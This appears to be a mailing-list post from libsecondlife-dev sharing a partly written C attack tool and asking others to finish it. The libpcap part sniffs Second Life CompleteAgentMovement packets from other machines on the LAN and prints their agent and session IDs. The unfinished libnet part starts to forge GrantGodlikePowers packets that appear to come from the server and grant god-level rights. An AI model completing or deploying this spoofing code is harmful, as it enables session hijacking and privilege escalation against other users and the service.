I have to leave right now to get ready to catch my plane to SFO, and my laptop doesn't have a compiler on it so I won't be able to finish this program before Friday. If anyone else can patch it together by then that would be very cool, and we will bring back video! It's a little C program that grabs CompleteAgentMovement packets off the LAN and synthesizes incoming GrantGodlikePowers packets, same old hat except we're working with other computers on the network instead of the local machine. The libpcap filter and callback are all done and working, the only part unfinished is the packet creation with libnet (I marked where and what needs to be done).

John Hurliman

-------------------------------------------------



#include <pcap.h>
#include <libnet.h>

/* 4 bytes IP address */
typedef struct ip_address
{
   u_char byte1;
   u_char byte2;
   u_char byte3;
   u_char byte4;
}ip_address;

/* IPv4 header */
typedef struct ip_header
{
u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
   u_char    tos;            // Type of service
   u_short tlen;            // Total length
   u_short identification; // Identification
   u_short flags_fo;        // Flags (3 bits) + Fragment offset (13 bits)
   u_char    ttl;            // Time to live
   u_char    proto;            // Protocol
   u_short crc;            // Header checksum
   ip_address    saddr;        // Source address
   ip_address    daddr;        // Destination address
   u_int    op_pad;            // Option + Padding
}ip_header;

/* UDP header*/
typedef struct udp_header
{
   u_short sport;            // Source port
   u_short dport;            // Destination port
   u_short len;            // Datagram length
   u_short crc;            // Checksum
}udp_header;

/* prototype of the packet handler */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);

libnet_t *l;
char errbuf[PCAP_ERRBUF_SIZE];

main()
{
   pcap_if_t *alldevs;
   pcap_if_t *d;
   int inum;
   int i = 0;
   pcap_t *adhandle;
   u_int netmask;
   char packet_filter[] = "ip and udp and udp[12:4] = 4294902047";
   struct bpf_program fcode;

   // Retrieve the device list
   if (pcap_findalldevs(&alldevs, errbuf) == -1)
   {
       fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
       exit(1);
   }
// Print the list
   for (d=alldevs; d; d=d->next)
   {
       printf("%d. %s", ++i, d->name);
       if (d->description)
           printf(" (%s)\n", d->description);
       else
           printf(" (No description available)\n");
   }

   if (i == 0)
   {
       printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
       return -1;
   }
printf("Enter the interface number (1-%d):",i);
   scanf("%d", &inum);
/* Check if the user specified a valid adapter */
   if(inum < 1 || inum > i)
   {
       printf("\nAdapter number out of range.\n");
// Free the device list
       pcap_freealldevs(alldevs);
       return -1;
   }

   // Jump to the selected adapter
   for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++);
// Open the adapter
   if ((adhandle = pcap_open_live(d->name,    // name of the device
65536, // portion of the packet to capture. // 65536 grants that the whole packet will be captured on all the MACs. 1, // promiscuous mode (nonzero means promiscuous)
                            1000,            // read timeout
                            errbuf            // error buffer
                            )) == NULL)
   {
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n");
       // Free the device list
       pcap_freealldevs(alldevs);
       return -1;
   }
if (d->addresses != NULL)
       // Retrieve the mask of the first address of the interface
netmask = ((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr;
   else
/* If the interface is without addresses we suppose to be in a C class network */
       netmask = 0xffffff;

   l = libnet_init(
           LIBNET_RAW4,                            // injection type
           d->name,                                // network interface
           errbuf);                                // errbuf

   if (l == NULL)
   {
       fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
       exit(EXIT_FAILURE);
   }

   // compile the filter
   if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) < 0)
   {
fprintf(stderr,"\nUnable to compile the packet filter. Check the syntax.\n");
       // Free the device list
       pcap_freealldevs(alldevs);
       return -1;
   }
//set the filter
   if (pcap_setfilter(adhandle, &fcode) < 0)
   {
       fprintf(stderr,"\nError setting the filter.\n");
       /* Free the device list */
       pcap_freealldevs(alldevs);
       return -1;
   }
printf("\nlistening on %s...\n", d->description); // At this point, we don't need any more the device list. Free it
   pcap_freealldevs(alldevs);
// start the capture
   pcap_loop(adhandle, 0, packet_handler, NULL);
return 0;
}

void print_uuid(u_char* uuid)
{
   int i;

   for (i = 0; i < 16; i++) {
       printf("%02x", *(uuid + i));
   }
}

void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
   char timestr[16];
   ip_header *ih;
   udp_header *uh;
   u_char* payload;
   u_char* godpacket;
   u_char godpayload[40];
   u_int ip_len;
   u_long client_ip, server_ip;
   u_short client_port, server_port;
   libnet_ptag_t udp, ip;
   int packet_size = LIBNET_IPV4_H + LIBNET_UDP_H + 40;

   /* retrieve the position of the ip header */
   ih = (ip_header *)(pkt_data + 14); //length of ethernet header

   /* retrieve the position of the udp header */
   ip_len = (ih->ver_ihl & 0xf) * 4;
   uh = (udp_header *)((u_char*)ih + ip_len);

   payload = (u_char*)uh + 8;

   printf("AgentID: ");
   print_uuid(payload + 8);
   printf("\n");
   printf("SessionID: ");
   print_uuid(payload + 24);
   printf("\n");

   /* convert from network byte order to host byte order */
   client_port = ntohs(uh->sport);
   server_port = ntohs(uh->dport);

   /* print ip addresses and udp ports */
   printf("%d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n",
       ih->saddr.byte1,
       ih->saddr.byte2,
       ih->saddr.byte3,
       ih->saddr.byte4,
       client_port,
       ih->daddr.byte1,
       ih->daddr.byte2,
       ih->daddr.byte3,
       ih->daddr.byte4,
       server_port);

   //
   // BEGIN UNTESTED/INCOMPLETE LIBNET CODE
   //

// The idea is to grab the outgoing CompleteAgentMovement packet (already done since // we're in the callback), and pull the source/client ip+port out, the destination/server // ip+port, the agentid, and the sessionid to construct a GrantGodlikePowers packet that
   // will be sent back to the client and appear to come from the server.

// GrantGodlikePowers == 8 byte (Low header), 49 byte SL payload == 57 byte UDP payload

// We'll need the client (source) ip/port, server (destination) ip/port, possibly the // sequence number, the agentid, and the sessionid from the captured packet above. // GodLevel should be 255 and Token can be anything, zeroes work. Packet needs to be
   // written to the wire and that's about it

   udp = libnet_build_udp(
           server_port,                            /* source port */
           client_port,                            /* destination port */
           LIBNET_UDP_H + 57,                        /* packet length */
           0,                                      /* checksum */
           payload,                                /* payload */
           40,                                        /* payload size */
           l,                                      /* libnet handle */
           udp);                                   /* libnet id */

   ip = libnet_build_ipv4(
               LIBNET_IPV4_H + 20 + 57 + LIBNET_UDP_H,        /* length */
               0,                                          /* TOS */
               242,                                        /* IP ID */
               0,                                          /* IP Frag */
               64,                                         /* TTL */
               IPPROTO_UDP,                                /* protocol */
               0,                                          /* checksum */
               server_ip,
               client_ip,
               NULL,                                       /* payload */
0, /* payload size */ l, /* libnet handle */
              ip);                                         /* libnet id */
           if (ip == -1)
           {
fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
               return;
           }
}


_______________________________________________
libsecondlife-dev mailing list
libsecondlife-dev@gna.org
https://mail.gna.org/listinfo/libsecondlife-dev

Reply via email to